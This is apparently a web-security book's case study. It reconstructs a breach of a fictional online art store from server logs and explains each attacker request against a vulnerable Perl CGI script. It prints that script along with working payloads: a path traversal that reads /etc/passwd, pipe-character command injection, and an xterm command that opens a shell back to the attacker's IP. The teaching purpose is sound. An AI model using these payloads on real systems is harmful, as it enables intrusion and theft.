Part 1: The E-Commerce Playground

Case Study: Acme Art, Inc. Hacked!

OCTOBER 31, 2001, was a bad day for the new Acme Art, Inc., Web site, www.acme-art.com. A hacker stole credit card numbers from its online store's database and posted them on a Usenet newsgroup. The media were quick and merciless and within hours Acme Art had lost hundreds of thousands of dollars in customer orders, bad publicity, and most important, its much needed second round of venture capital funding. Acme Art's chief information officer (CIO) was perplexed. What had gone wrong with his recently commissioned security audit? Everything seemed fine. The firewalls prevented everything but HTTP traffic via ports 80 and 443. Going over the incident with a fine-toothed comb, the postmortem computer forensics team found the following evidence in the Web server's log file.

Group (a)

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200 8468

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200 6912

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200 7891

Group (b)

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0"

200 610

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640

10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0"

200 652

10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200 36580

Group (c)

10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272

Group (d)

10.0.1.21 - - [31/Oct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008

10.0.1.21 - - [31/Oct/2001:03:05:31 +0530] "GET /index.cgi?page=index.cgi HTTP/1.0" 200

358

Group (e)

10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET

/index.cgi?page=/../../../../../../../../../etc/passwd HTTP/1.0" 200 723

Group (f)

10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-

la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228

10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+-

display+10.0.1.21:0.0+%26| HTTP/1.0" 200

Let's follow along with the experts to see how they solved the case. The site www.acme-art.com was running Apache 1.3.12 on a Linux system. Acme Art's programmers used Perl CGI scripts to get the online Web store up and running. The log file entries in the preceding list reveal that the attack is coming from 10.0.1.21. At 3:02 A.M., the attacker first began browsing through the site. The log file's first five entries (group a) indicate that the attacker viewed the site's main page and a few images on it:

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200 8468

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200 6912

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200 7891

If we were to replay the hacker's moves, Figure 0-1 shows what we would have seen from the hacker's point of view.

Figure 0-1. Acme Art, Inc.'s home page

The next four entries (group b) were caused by the attacker's clicking on a couple of links from the main page:

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0"

200 610

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640

10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0"

200 652

10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200 36580

Figure 0-2 shows what the attacker would have seen if he clicked on the link "Golden Sunset, in oil" from Acme Art's home page.

Figure 0-2. Clicking on a link

At this point, it is difficult to identify the hacker's intent, because he has done nothing out of the ordinary. Perhaps he is just nosing around looking for something interesting. The next entry shows that an attempt is made to access the /cgi-bin/ directory and perhaps see what is inside it (group c). The Web server denied this request because it resulted in an HTTP 403 error response code:

10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272

Now the attacker makes his move. It seems that he has discovered the first flaw. At first he looks at the URL http://www.acme-art.com/index.cgi for a moment and then issues a request for http://www.acme-art.com/index.cgi?page=index.cgi. The attacker is following a pattern observed in the links on the main Web page (group b). Figure 0-3 shows what the attacker saw on his browser.

Figure 0-3. Source code of index.cgi disclosed

The browser display contains the source code of the "index.cgi script!" The attacker sees that index.cgi accepts a filename as a parameter and displays the contents of that filename. He uses index.cgi itself as a parameter to display its own source code. A closer look at the index.cgi Perl code reveals further vulnerabilities:

01: #!/usr/bin/perl

02: # Perl script to display a page back as requested by the argument

03:

04: require "../cgi-bin/cgi-lib.pl";

05:

06: &ReadParse(*input);

07:

08: $filename = $input{page} ;

09: if($filename eq "") {

10:  $filename = "main.html";

11: }

12:

13: print &PrintHeader;

14:

15: $filename = "/usr/local/apache/htdocs/" . $filename;

16: open(FILE, $filename);

17: while(<FILE>) {

18:  print $_;

19: }

20: close(FILE);

The vulnerability lies in the lack of validation of the parameters that are passed to the index.cgi script. The filename passed as a parameter from the URL is captured in the variable $filename at line 08, appended to the absolute path "/usr/local/apache/htdocs" at line 15, and finally opened at line 16.

One of the first things that occurs to the attacker when seeing this omission is the ability to exploit it to retrieve arbitrary files from the Web server. And the attacker does precisely this, as shown in the next log file entry (group e):

10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET

/index.cgi?page=/../../../../../../../../../etc/passwd HTTP/1.0" 200 723

Here he uses the browser to send the request: http://www.acme-art.com/index.cgi?page=/../../../../../../../../../etc/passwd. The entire contents of the /etc/ passwd file are returned and displayed in the browser, as shown in Figure 0-4.

Figure 0-4. Attacker recovering the /etc/passwd file from Acme Art, Inc.'s server

But the hack doesn't end here. A second vulnerability is hidden within the one just discovered. Using a little knowledge of Unix and Perl, the attacker executes arbitrary commands on the Web server. The next two requests made by the attacker (group f) illustrate this possibility:

10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-

la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228

10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+-

display+10.0.1.21:0.0+%26| HTTP/1.0" 200

Instead of trying to open arbitrary files, the attacker uses the pipe character "|" in the file parameter, followed by commands of his choice. Now instead of a file being opened, Perl opens a file handle, which receives the standard output generated by the commands specified in the filename parameter. Of the two final requests made by the attacker, the first one is:

http://www.acme-art.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|

The attacker then runs three Unix commands together:

ls -la /

id

which xterm

Note the pipe characters around the "page=" parameter. The commands are separated with the hex character "0A," which is the line-feed character. Figure 0-5 reveals what was displayed on the attacker's browser.

Figure 0-5. Output of "ls la," "id," and "which xterm"

The display shows a file list of the server's root directory from the "ls -la /" command, the effective user id of the process running index.cgi from the "id" command, and the path to the xterm binary from the "which xterm" command. The attacker is now able to run arbitrary commands on the Web server under the security privileges of the "nobody" account. Fed up with issuing single commands over the browser, he decides to use xterm to gain interactive shell access to the Web server. The last request captured on the Web server was the attacker's attempt to launch an xterm connection back to his system by sending the following URL request:

http://www.acme-art.com/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26|

The command within the URL translates to "xterm -display 10.0.1.21:0.0 &." The xterm command launches an xterm window back to the attacker's display on 10.0.1.21:0.0. Figure 0-6 reveals what the attacker saw.

Figure 0-6. Attacker launching an xterm and gaining interactive shell access

The attacker now has full interactive shell level access to Acme Art, Inc.'s system. The Web server log trail ends here, but we've learned what we need to know. Despite all the security audits, firewalls, strong password policies, and what not, the attacker gained access to the Web server by exploiting a trivial, careless oversight and some fancy URL construction to funnel the attack by using nothing but HTTP.